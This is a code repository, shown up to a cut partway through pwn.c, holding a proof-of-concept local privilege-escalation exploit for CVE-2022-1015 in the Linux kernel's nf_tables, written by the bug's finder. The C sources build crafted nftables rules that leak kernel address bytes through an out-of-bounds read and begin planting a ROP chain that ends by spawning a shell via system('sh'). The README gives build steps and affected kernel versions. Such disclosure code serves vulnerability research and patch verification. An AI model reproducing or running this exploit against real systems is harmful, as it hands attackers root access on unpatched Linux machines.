├── .gitignore ├── Makefile ├── README.md ├── helpers.c ├── helpers.h └── pwn.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | build/ 3 | bin/ 4 | pwn 5 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | objects = ./pwn.o ./helpers.o 2 | 3 | .PHONY: clean pwn 4 | 5 | pwn: $(objects) 6 | $(CC) $(objects) -lmnl -lnftnl -o pwn 7 | 8 | ./%.o: %.c 9 | $(CC) -c $(CFLAGS) -o "$@" "$<" 10 | 11 | clean: 12 | rm -rf ./pwn.o ./helpers.o -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-1015 2 | 3 | This repository contains a PoC for local privilege escalation of CVE-2022-1015, a bug in the `nf_tables` component of the linux kernel that I found. You can read a detailed analysis of this vulnerability and the exploitation strategy over at my [blog](https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/). 4 | 5 | Right now, the exploit is a bit messy. Sorry! 6 | 7 | ## Affected versions 8 | 9 | Kernels after commit 345023b0db31 (v5.12) but before commit 6e1acfa387b9 (v5.17) are vulnerable. 10 | 11 | ## Caveats 12 | 13 | This exploit is extremely unlikely to pop a root shell for a given vulnerable kernel. You will have to experiment with chain hook locations (input vs output etc.), `nft_bitwise` address leak offsets, and ROP gadget and symbol offsets. I tested on 5.16-rc3+ and had to seriously change my exploit for a kernel build compiled with a different gcc version. 14 | 15 | That said, with all the information given in my blog post I think altering the exploit for a given vulnerable kernel should be doable. 16 | 17 | ## Building instructions 18 | 19 | Simply run `make`, and a `pwn` executable should pop up in the source dir. You will need `libmnl` and `libnftnl` developer packages, as well as linux headers of the target. 20 | 21 | You can explicitly specify kernel headers to use with e.g. `make CFLAGS="-I/path/to/linux-tree/usr/include"`. 22 | 23 | ## Demo 24 | 25 | [![](https://asciinema.org/a/zIlTY7p1JRf0y4I8zbGLkpg6H.svg)](https://asciinema.org/a/zIlTY7p1JRf0y4I8zbGLkpg6H) 26 | 27 | ## Licensing 28 | 29 | This code is distributed under the Beerware license. I am not legally responsible for anything you do with it. 30 | -------------------------------------------------------------------------------- /helpers.c: -------------------------------------------------------------------------------- 1 | /* 2 | * ---------------------------------------------------------------------------- 3 | * "THE BEER-WARE LICENSE" (Revision 42): 4 | * David Bouman (pql) wrote this file. As long as you retain this notice you 5 | * can do whatever you want with this stuff. If we meet some day, and you think 6 | * this stuff is worth it, you can buy me a beer in return. Signed, David. 7 | * ---------------------------------------------------------------------------- 8 | */ 9 | #define _GNU_SOURCE 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include "helpers.h" 29 | 30 | static uint64_t default_batch_req_handler(struct mnl_socket* nl, int portid, int table_seq) 31 | { 32 | char buf[MNL_SOCKET_BUFFER_SIZE]; 33 | 34 | int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); 35 | 36 | while (ret > 0) { 37 | ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL); 38 | if (ret <= 0) break; 39 | ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); 40 | } 41 | return ret; 42 | } 43 | 44 | int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) 45 | { 46 | 47 | char buf[MNL_SOCKET_BUFFER_SIZE]; 48 | struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof buf); 49 | 50 | uint8_t msg_type = msg & 0xff; 51 | uint8_t nft_type = (msg >> 8) & 0xff; 52 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), (*seq)++); 53 | mnl_nlmsg_batch_next(batch); 54 | int table_seq = *seq; 55 | struct nlmsghdr* nlh; 56 | 57 | if (result_handler == NULL) { 58 | result_handler = default_batch_req_handler; 59 | } 60 | 61 | nlh = nftnl_nlmsg_build_hdr( 62 | mnl_nlmsg_batch_current(batch), 63 | msg_type, family, 64 | msg_flags | NLM_F_ACK, (*seq)++ 65 | ); 66 | 67 | switch(nft_type) { 68 | case NFT_TYPE_TABLE: 69 | nftnl_table_nlmsg_build_payload(nlh, *object); 70 | nftnl_table_free(*object); 71 | break; 72 | case NFT_TYPE_CHAIN: 73 | nftnl_chain_nlmsg_build_payload(nlh, *object); 74 | nftnl_chain_free(*object); 75 | break; 76 | case NFT_TYPE_RULE: 77 | nftnl_rule_nlmsg_build_payload(nlh, *object); 78 | nftnl_rule_free(*object); 79 | break; 80 | default: 81 | return -1; // will increment seq wrongly... no prob i guess 82 | } 83 | 84 | *object = NULL; 85 | 86 | mnl_nlmsg_batch_next(batch); 87 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), (*seq)++); 88 | mnl_nlmsg_batch_next(batch); 89 | 90 | int ret = mnl_socket_sendto( 91 | nl, 92 | mnl_nlmsg_batch_head(batch), 93 | mnl_nlmsg_batch_size(batch) 94 | ); 95 | 96 | if (ret < 0) { 97 | perror("mnl_socket_send"); 98 | return -1; 99 | } 100 | 101 | int portid = mnl_socket_get_portid(nl); 102 | 103 | mnl_nlmsg_batch_stop(batch); 104 | 105 | result_handler(nl, portid, table_seq); 106 | } 107 | 108 | struct nftnl_table* build_table(char* name, uint16_t family) 109 | { 110 | struct nftnl_table* t = nftnl_table_alloc(); 111 | 112 | nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family); 113 | nftnl_table_set_str(t, NFTNL_TABLE_NAME, name); 114 | 115 | return t; 116 | } 117 | 118 | struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param) 119 | { 120 | struct nftnl_chain* c; 121 | 122 | c = nftnl_chain_alloc(); 123 | 124 | nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name); 125 | nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name); 126 | 127 | if (base_param) { 128 | nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num); 129 | nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio); 130 | } 131 | 132 | return c; 133 | 134 | } 135 | 136 | 137 | struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle) 138 | { 139 | struct nftnl_rule* r = NULL; 140 | uint8_t proto; 141 | 142 | r = nftnl_rule_alloc(); 143 | 144 | nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name); 145 | nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name); 146 | nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family); 147 | 148 | if (handle) { 149 | nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, *handle); 150 | } 151 | 152 | return r; 153 | 154 | } 155 | 156 | // for some reason my editor does not recognize these 157 | #define NFTA_BITWISE_OP NFTA_BITWISE_XOR + 1 158 | #define NFTA_BITWISE_DATA NFTA_BITWISE_OP + 1 159 | 160 | 161 | void rule_add_bit_shift( 162 | struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len, 163 | uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len) 164 | { 165 | 166 | if(bitwise_len > 0xff) { 167 | puts("bitwise_len > 0xff"); 168 | exit(EXIT_FAILURE); 169 | } 170 | 171 | struct nftnl_expr* e; 172 | e = nftnl_expr_alloc("bitwise"); 173 | 174 | nftnl_expr_set_u32(e, NFTA_BITWISE_SREG, bitwise_sreg); 175 | nftnl_expr_set_u32(e, NFTA_BITWISE_DREG, bitwise_dreg); 176 | nftnl_expr_set_u32(e, NFTA_BITWISE_OP, shift_type); 177 | nftnl_expr_set_u32(e, NFTA_BITWISE_LEN, bitwise_len); 178 | nftnl_expr_set_data(e, NFTA_BITWISE_DATA, data, data_len); 179 | 180 | nftnl_rule_add_expr(r, e); 181 | } 182 | 183 | void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg) 184 | { 185 | uint32_t data = 0; 186 | rule_add_bit_shift(r, NFT_BITWISE_LSHIFT, len, sreg, dreg, &data, sizeof(data)); 187 | } 188 | 189 | void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg) 190 | { 191 | struct nftnl_expr* e; 192 | e = nftnl_expr_alloc("payload"); 193 | 194 | nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base); 195 | nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset); 196 | nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len); 197 | nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg); 198 | 199 | nftnl_rule_add_expr(r, e); 200 | } 201 | 202 | void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len) 203 | { 204 | struct nftnl_expr* e; 205 | e = nftnl_expr_alloc("cmp"); 206 | 207 | nftnl_expr_set_u32(e, NFTA_CMP_OP, op); 208 | nftnl_expr_set_u32(e, NFTA_CMP_SREG, sreg); 209 | nftnl_expr_set_data(e, NFTA_CMP_DATA, data, data_len); 210 | 211 | nftnl_rule_add_expr(r, e); 212 | } 213 | 214 | void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len) 215 | { 216 | struct nftnl_expr* e; 217 | 218 | e = nftnl_expr_alloc("immediate"); 219 | 220 | nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, dreg); 221 | nftnl_expr_set_data(e, NFTA_IMMEDIATE_DATA, data, data_len); 222 | 223 | nftnl_rule_add_expr(r, e); 224 | } 225 | 226 | void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name) 227 | { 228 | struct nftnl_expr* e; 229 | e = nftnl_expr_alloc("immediate"); 230 | 231 | // dreg = 0 -> verdict 232 | nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, 0); 233 | 234 | nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict); 235 | 236 | if (verdict == NFT_GOTO || verdict == NFT_JUMP) { 237 | nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain_name); 238 | } 239 | 240 | nftnl_rule_add_expr(r, e); 241 | } 242 | 243 | 244 | int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) 245 | { 246 | 247 | struct nftnl_table* t = build_table(name, family); 248 | 249 | return send_batch_request( 250 | nl, 251 | NFT_MSG_NEWTABLE | (NFT_TYPE_TABLE << 8), 252 | NLM_F_CREATE, family, (void**)&t, seq, 253 | result_handler 254 | ); 255 | } 256 | 257 | int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) 258 | { 259 | struct nftnl_chain* c = build_chain(chain_name, table_name, base_param); 260 | 261 | return send_batch_request( 262 | nl, 263 | NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8), 264 | NLM_F_CREATE, family, (void**)&c, seq, 265 | result_handler 266 | ); 267 | } 268 | 269 | /* 270 | int update_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)) 271 | { 272 | struct nftnl_chain* c = build_chain(chain_name, table_name, base_param); 273 | 274 | return send_batch_request( 275 | nl, 276 | NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8), 277 | NLM_F_CREATE | NLM_F_REPLACE, family, (void**)&c, seq, 278 | result_handler 279 | ;) 280 | } 281 | */ 282 | 283 | struct child_proc { 284 | struct child_proc* next; 285 | pid_t pid; 286 | }; 287 | 288 | static struct child_proc *children; 289 | 290 | 291 | static void add_child(pid_t pid) 292 | { 293 | struct child_proc* child = malloc(sizeof *child); 294 | child->pid = pid; 295 | child->next = children; 296 | children = child; 297 | } 298 | 299 | static void kill_children(int sig) 300 | { 301 | //printf("[pid=%d] killing children!\n", getpid()); 302 | 303 | struct child_proc* current_child = children; 304 | while (current_child) { 305 | kill(current_child->pid, SIGTERM); 306 | current_child = current_child->next; 307 | } 308 | 309 | exit(EXIT_SUCCESS); 310 | } 311 | 312 | pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int)) 313 | { 314 | 315 | int err; 316 | 317 | int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 318 | 319 | if (s < 0) { 320 | perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)"); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | int reuse_addr = 1; 325 | 326 | setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof reuse_addr); 327 | 328 | struct sockaddr_in addr; 329 | inet_aton(ip_string, &addr.sin_addr); 330 | addr.sin_family = AF_INET; 331 | addr.sin_port = htons(port); 332 | 333 | err = bind(s, (struct sockaddr*)&addr, sizeof(addr)); 334 | 335 | if (err < 0) { 336 | perror("bind"); 337 | exit(EXIT_FAILURE); 338 | } 339 | 340 | printf("Started listener on [%s:%d] (udp)\n", ip_string, port); 341 | 342 | pid_t pid = fork(); 343 | if (pid) { 344 | // parent process 345 | add_child(pid); 346 | return pid; 347 | } 348 | 349 | handler(s); 350 | 351 | exit(EXIT_SUCCESS); 352 | 353 | } 354 | 355 | int stop_listener(pid_t pid) 356 | { 357 | 358 | if (kill(pid, SIGTERM)) { 359 | perror("kill"); 360 | return -1; 361 | }; 362 | 363 | struct child_proc* next_child = children; 364 | struct child_proc* current_child = NULL; 365 | 366 | while (next_child) { 367 | 368 | if (next_child->pid == pid) { 369 | 370 | struct child_proc** prev = current_child == NULL ? &children : ¤t_child; 371 | if (current_child == NULL) { 372 | prev = &children; 373 | } else { 374 | prev = ¤t_child; 375 | } 376 | 377 | (*prev)->next = next_child->next; 378 | break; 379 | 380 | } 381 | 382 | current_child = next_child; 383 | next_child = next_child->next; 384 | } 385 | 386 | return 0; 387 | } 388 | 389 | int connect_to(char* ip_string, uint16_t port) 390 | { 391 | int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 392 | 393 | if (s < 0) { 394 | perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)"); 395 | return -1; 396 | } 397 | struct sockaddr_in conn_addr; 398 | conn_addr.sin_port = htons(port); 399 | inet_aton(ip_string, &conn_addr.sin_addr); 400 | conn_addr.sin_family = AF_INET; 401 | 402 | int err = connect(s, (struct sockaddr*)&conn_addr, sizeof conn_addr); 403 | if (err < 0) { 404 | perror("connect"); 405 | return -1; 406 | } 407 | 408 | printf("Successfully connected to [%s:%hd] (udp)\n", ip_string, port); 409 | 410 | return s; 411 | } 412 | 413 | void hexdump(void* data, size_t len, unsigned int n_columns) 414 | { 415 | 416 | uint8_t* bdata = data; 417 | 418 | for (int i = 0; i < len; ++i) { 419 | printf("%.2hhx ", bdata[i]); 420 | 421 | if ( (i+1) % n_columns == 0) { 422 | putchar('\n'); 423 | } 424 | } 425 | } -------------------------------------------------------------------------------- /helpers.h: -------------------------------------------------------------------------------- 1 | /* 2 | * ---------------------------------------------------------------------------- 3 | * "THE BEER-WARE LICENSE" (Revision 42): 4 | * David Bouman (pql) wrote this file. As long as you retain this notice you 5 | * can do whatever you want with this stuff. If we meet some day, and you think 6 | * this stuff is worth it, you can buy me a beer in return. Signed, David. 7 | * ---------------------------------------------------------------------------- 8 | */ 9 | #pragma once 10 | #include 11 | 12 | #define CLR_RED "\e[0;31m" 13 | #define CLR_GRN "\e[0;32m" 14 | #define CLR_RESET "\e[0m" 15 | 16 | enum nft_types { 17 | NFT_TYPE_TABLE = 0, 18 | NFT_TYPE_CHAIN, 19 | NFT_TYPE_RULE 20 | }; 21 | 22 | struct unft_base_chain_param { 23 | uint32_t hook_num; 24 | uint32_t prio; 25 | }; 26 | 27 | 28 | // build helpers 29 | struct nftnl_table* build_table(char* name, uint16_t family); 30 | struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param); 31 | struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle); 32 | 33 | // create helpers (actually commits to the kernel) 34 | int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*handler)(struct mnl_socket*, int, int)); 35 | 36 | int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)); 37 | int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int)); 38 | 39 | // expression helpers 40 | void rule_add_bit_shift( 41 | struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len, 42 | uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len); 43 | void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg); 44 | void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg); 45 | void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len); 46 | 47 | 48 | void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len); 49 | void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name); 50 | 51 | // add immediate of arbitrary length 52 | void rule_add_immediate_data_arblen(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len); 53 | 54 | // misc. helpers 55 | pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int)); 56 | int stop_listener(pid_t pid); 57 | int connect_to(char* ip_string, uint16_t port); 58 | void hexdump(void* data, size_t len, unsigned int n_columns); 59 | 60 | void drop_to_networkns(); -------------------------------------------------------------------------------- /pwn.c: -------------------------------------------------------------------------------- 1 | /* 2 | * ---------------------------------------------------------------------------- 3 | * "THE BEER-WARE LICENSE" (Revision 42): 4 | * David Bouman (pql) wrote this file. As long as you retain this notice you 5 | * can do whatever you want with this stuff. If we meet some day, and you think 6 | * this stuff is worth it, you can buy me a beer in return. Signed, David. 7 | * ---------------------------------------------------------------------------- 8 | */ 9 | 10 | #define _GNU_SOURCE 1 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | 34 | #include "helpers.h" 35 | 36 | struct vuln_expr_params { 37 | uint32_t min_len; 38 | uint32_t max_len; 39 | uint32_t value; 40 | }; 41 | 42 | 43 | void setup_nftables(struct mnl_socket* nl, char* table_name, char* base_chain_name, int* seq) 44 | { 45 | if (create_table(nl, table_name, AF_INET, seq, NULL) == -1) { 46 | perror("Failed creating table"); 47 | exit(EXIT_FAILURE); 48 | } 49 | 50 | printf("[+] Created nft %s\n", table_name); 51 | 52 | struct unft_base_chain_param bp; 53 | bp.hook_num = NF_INET_LOCAL_OUT; 54 | bp.prio = 10; 55 | 56 | if (create_chain(nl, table_name, base_chain_name, NFPROTO_IPV4, &bp, seq, NULL)) { 57 | perror("Failed creating base chain"); 58 | exit(EXIT_FAILURE); 59 | } 60 | 61 | printf("[+] Created base ipv4 chain %s\n", base_chain_name); 62 | } 63 | 64 | static int calc_vuln_expr_params_div(struct vuln_expr_params* result, uint8_t desired, uint32_t min_len, uint32_t max_len, int shift) 65 | { 66 | uint64_t base_ = (uint64_t)(1) << (32 - shift); 67 | uint32_t base = (uint32_t)(base_ - 1); 68 | 69 | if (base == 0xffffffff) { 70 | base = 0xfffffffb; // max actual value 71 | } 72 | 73 | for (;;) { 74 | uint64_t computed = (base * 4) & 0xffffffff; 75 | uint64_t max_value = computed + (uint64_t)(max_len); 76 | if (max_value < ((uint64_t)(1) << 32)) { 77 | break; 78 | } 79 | 80 | if ( (base & 0xff) != desired) { 81 | base--; 82 | continue; 83 | } 84 | 85 | uint32_t len_at_least = ((uint64_t)1 << 32) - computed; 86 | uint32_t len_at_most = len_at_least + 0x50; 87 | 88 | if (min_len > len_at_least) { 89 | len_at_least = min_len; 90 | } 91 | 92 | if (max_len < len_at_most) { 93 | len_at_most = max_len; 94 | } 95 | result->max_len = len_at_most; 96 | result->min_len = len_at_least; 97 | result->value = base + 4; 98 | return 0; 99 | 100 | } 101 | return -1; 102 | 103 | } 104 | 105 | static int calc_vuln_expr_params(struct vuln_expr_params *result, uint8_t desired, uint32_t min_len, uint32_t max_len) 106 | { 107 | 108 | for (int i = 0; i < 3; ++i) { 109 | int res = calc_vuln_expr_params_div(result, desired, min_len, max_len, i); 110 | if (!res) { 111 | return 0; 112 | } 113 | } 114 | 115 | return -1; 116 | 117 | } 118 | 119 | #define MAGIC 0xdeadbeef0badc0de 120 | int create_base_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq) 121 | { 122 | 123 | struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle); 124 | 125 | // we start by adding a rule to fetch the destination port 126 | // UDP header destination port starts at offset +2 and is 2 bytes long 127 | // we store the result in register 8 128 | 129 | rule_add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, offsetof(struct udphdr, dest), sizeof(uint16_t), 8); 130 | 131 | // if the destination port does not match, the rule will accept the packet. This will save us a lot of noise, 132 | // including noise generated by packets sent by our server socket. 133 | 134 | // the server sockets actually have a different stack layout than the client sockets in do_chain, so this is essential. 135 | 136 | uint16_t dest_port = htons(9999); 137 | rule_add_cmp(r, NFT_CMP_EQ, 8, &dest_port, sizeof dest_port); 138 | 139 | // then, we fetch the first 8 bytes of the the inner header. 140 | // these need to match our magic value, or else the rule will accept the packet. 141 | // we do this as a failsafe that guarantees we only process packets we 142 | // actually want to process. 143 | 144 | rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 0, 8, 8); 145 | 146 | uint64_t magic = MAGIC; 147 | rule_add_cmp(r, NFT_CMP_EQ, 8, &magic, sizeof magic); 148 | 149 | // If the packet passed these checks, we jump to the auxiliary chain 150 | 151 | rule_add_immediate_verdict(r, NFT_GOTO, "aux_chain"); 152 | 153 | // Commit rule to the kernel 154 | return send_batch_request( 155 | nl, 156 | NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8), 157 | NLM_F_CREATE, family, (void**)&r, seq, 158 | NULL 159 | ); 160 | 161 | } 162 | 163 | int create_infoleak_rule( 164 | struct mnl_socket* nl, struct nftnl_rule* r, uint8_t cmp, uint8_t pos, uint16_t family, int* seq, int extraflags) 165 | { 166 | 167 | struct vuln_expr_params vuln_params; 168 | 169 | // index 0xff translates to +0x3fc, and there's a kernel address that we can grab. 170 | 171 | if (calc_vuln_expr_params(&vuln_params, 0xff, 0x40, 0x40)) { 172 | puts("Could not find correct params to trigger OOB read."); 173 | return -1; 174 | } 175 | 176 | // we shift by pos*8 so that the first byte of the register will be the one at pos `pos`. 177 | uint32_t shift_amt = (pos * 8); 178 | rule_add_bit_shift(r, NFT_BITWISE_RSHIFT, vuln_params.min_len, vuln_params.value, 1, &shift_amt, sizeof shift_amt); 179 | 180 | // we compare it to the constant - we can binary search 181 | 182 | // if the compared value is greater than our supplied value, 183 | // we accept the packet. Else, we drop it. 184 | 185 | rule_add_cmp(r, NFT_CMP_GT, 0x15, &cmp, 1); 186 | 187 | rule_add_immediate_verdict(r, NF_DROP, NULL); 188 | 189 | return send_batch_request( 190 | nl, 191 | NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8), 192 | NLM_F_CREATE | extraflags, family, (void**)&r, seq, 193 | NULL 194 | ); 195 | } 196 | 197 | #define INFOLEAK_RULE_HANDLE 4 198 | uint8_t do_leak_byte(struct mnl_socket* nl, int client_sock, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, uint8_t pos, int* seq) 199 | { 200 | 201 | uint8_t low = 0; 202 | uint8_t high = 255; 203 | 204 | uint8_t mid; 205 | 206 | char msg[16] = {}; 207 | char result[16] = {}; 208 | *(uint64_t*)msg = MAGIC; 209 | 210 | for(;;) { 211 | 212 | mid = (high + low) / 2; 213 | 214 | printf("bounds (inclusive): [0x%.2hhx, 0x%.2hhx]\n", low, high); 215 | 216 | if (low == high) { 217 | return mid; 218 | } 219 | 220 | // Create a rule that replaces the rule with handle INFOLEAK_RULE_HANDLE 221 | struct nftnl_rule* r = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL); 222 | nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE); 223 | 224 | // The rule is going to compare 225 | if (create_infoleak_rule(nl, r, mid, pos, NFPROTO_IPV4, seq, NLM_F_REPLACE)) { 226 | perror("Could not replace infoleak rule"); 227 | exit(EXIT_FAILURE); 228 | } 229 | 230 | sendto(client_sock, msg, sizeof msg, 0, (struct sockaddr*)addr, sizeof *addr); 231 | 232 | struct sockaddr_in presumed_server_addr; 233 | socklen_t presumed_server_addr_len = sizeof presumed_server_addr; 234 | 235 | int nrecv = recvfrom(client_sock, result, sizeof result, 0, (struct sockaddr*)&presumed_server_addr, &presumed_server_addr_len); 236 | if (!nrecv) { 237 | puts("[-] Remote socket closed..."); 238 | exit(EXIT_FAILURE); 239 | } else if (nrecv < 0) { 240 | 241 | // In case of timeout, value is greater than `mid` 242 | low = mid + 1; 243 | } else { 244 | if (strcmp(result, "MSG_OK")) { 245 | puts("[-] Something went wrong..."); 246 | exit(EXIT_FAILURE); 247 | } 248 | memset(result, 0, sizeof result); 249 | 250 | // But if we get a response, the packet arrived at the server and therefore the value is lower than or equal to mid 251 | 252 | high = mid; 253 | } 254 | } 255 | } 256 | 257 | uint32_t do_leak(struct mnl_socket* nl, struct sockaddr_in* addr, char* table_name, char* aux_chain_name, int* seq) 258 | { 259 | 260 | #define CLIENT_HOST "127.0.0.1" 261 | #define CLIENT_PORT 8888 262 | 263 | int client_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 264 | 265 | struct sockaddr_in client_addr; 266 | inet_aton(CLIENT_HOST, &client_addr.sin_addr); 267 | client_addr.sin_port = htons(CLIENT_PORT); 268 | client_addr.sin_family = AF_INET; 269 | 270 | if (bind(client_sock, (struct sockaddr*)&client_addr, sizeof client_addr) < 0) { 271 | perror("client bind"); 272 | return -1; 273 | } 274 | 275 | // 100ms receive timeout 276 | // can probably be lower 277 | struct timespec t = {.tv_sec = 0, .tv_nsec = 1000 * 200}; 278 | setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &t, sizeof t); 279 | 280 | uint8_t results[4] = {}; 281 | 282 | for(int i = 1; i < 4; ++i) { 283 | results[i] = do_leak_byte(nl, client_sock, addr, table_name, aux_chain_name, i, seq); 284 | printf("[+] Leaked byte %i: %.2hhx\n", i, results[i]); 285 | } 286 | 287 | close(client_sock); 288 | return *(uint32_t*)results; 289 | 290 | } 291 | 292 | int simple_handler(int fd) 293 | { 294 | char buf[4096] = {}; 295 | 296 | struct sockaddr_in client_addr = {}; 297 | socklen_t client_addr_size = sizeof client_addr; 298 | size_t conn_id = 0; 299 | 300 | for (;;) { 301 | 302 | int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size); 303 | 304 | if (len <= 0) { 305 | printf("listener receive failed..\n"); 306 | perror(""); 307 | return -1; 308 | } 309 | 310 | printf("Received message from [%s:%d] (udp) (0x%x bytes):\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port), len); 311 | hexdump(buf, len, 8); 312 | } 313 | 314 | close(fd); 315 | 316 | return 0; 317 | } 318 | 319 | 320 | int leak_handler(int fd) 321 | { 322 | char buf[4096] = {}; 323 | char send_back[] = "MSG_OK"; 324 | struct sockaddr_in client_addr = {}; 325 | socklen_t client_addr_size = sizeof client_addr; 326 | size_t conn_id = 0; 327 | 328 | for (;;) { 329 | 330 | int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size); 331 | 332 | if (len <= 0) { 333 | printf("listener receive failed..\n"); 334 | perror(""); 335 | return -1; 336 | } 337 | 338 | sendto(fd, send_back, sizeof(send_back), 0, (struct sockaddr*)&client_addr, client_addr_size); 339 | } 340 | 341 | close(fd); 342 | 343 | return 0; 344 | } 345 | 346 | void* new_stack; 347 | 348 | /* This is where we return after our rop chain */ 349 | extern void _after_rop(); 350 | void after_rop() 351 | { 352 | 353 | system("id"); 354 | system("sh"); 355 | 356 | } 357 | 358 | static int install_rop_chain_rule(struct mnl_socket* nl, uint64_t kernel_base, char* chain, int* seq) 359 | { 360 | 361 | // return address is at regs.data[0xca] 362 | struct vuln_expr_params v; 363 | 364 | if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) { 365 | puts("[-] Cannot find suitable parameters for planting ROP chain."); 366 | return -1; 367 | } 368 | 369 | struct nftnl_rule* r = build_rule("exploit_table", chain, NFPROTO_IPV4, NULL); 370 | //nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE); 371 | rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value); 372 | 373 | 374 | int err = send_batch_request( 375 | nl, 376 | NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8), 377 | NLM_F_CREATE, NFPROTO_IPV4, (void**)&r, seq, 378 | NULL 379 